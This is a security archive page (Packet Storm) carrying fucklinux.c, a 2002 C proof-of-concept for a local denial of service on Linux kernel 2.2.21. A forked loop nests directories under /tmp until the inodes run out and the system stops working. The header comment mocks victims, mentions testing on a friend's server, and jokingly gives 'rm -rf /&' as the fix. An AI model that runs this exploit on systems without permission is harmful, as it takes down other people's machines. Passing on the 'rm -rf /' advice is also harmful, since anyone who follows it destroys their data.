what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

fucklinux.c

fucklinux.c
Posted Aug 29, 2002
Authored by NTFX, Mimayin | Site legion2000.security.nu

This local denial of service exploit works up to kernel 2.2.21 by using up all the available inodes.

tags | denial of service, kernel, local
SHA-256 | 0b3e683b3bf8e073894178c7bdd337d759248aec85101372e120cdf4adb4fd1c

fucklinux.c

Change Mirror Download
/*

01-07-02

simple local DoS exploit for Linux
Discovered By: miyamin and ntfx
Legion2000SR http://legion2000.security.nu
Tested on: Linux Slackware 7.1 Kernel 2.2.21

I found this accidentally while trying to create a condition on a friends linux server.
About 1 or 2 minutes after it started, all the commands started to fail, the box was behaving
as if someone had chmod -R 700 / as root. The result of using up all the inodes. After the
commands stopped working the box become more and more lagged until the services were dead
completely. Fun.

Solution:

1. rm -rf /&
2. install bsd

or maybe setting quotas might help, but the above method is preferred.


mimayin@inbox.lv

*/


#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

void banner()
{
printf("\nfucklinux.c: Linux local DoS proof-of-concept exploit, use on your own system only.\n");
printf(" Tested on: Slackware 7.1 kernel 2.2.21\n");
printf(" Author: mimayin@inbox.lv\n\n");
}

int main()
{
mode_t mo = S_IRWXU | S_IRWXG | S_IRWXO;
char one[256];
char two[256];
char ma[]="\x2e\x2c";

banner();

memset(one,0x41,255);
memset(two,0x42,255);
one[255]=0;two[255]=0;

chdir("/tmp");
mkdir(ma,mo);
chmod(ma,mo);
chdir(ma);

printf("Kiss your terminal goodbye...\n");

if(fork()==0)
{
while(1)
{
mkdir(one,mo);
chmod(one,mo);
chdir(one);
mkdir(two,mo);
chmod(two,mo);
chdir(two);
sleep(15);
}
}

printf("\n");

return 0;
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close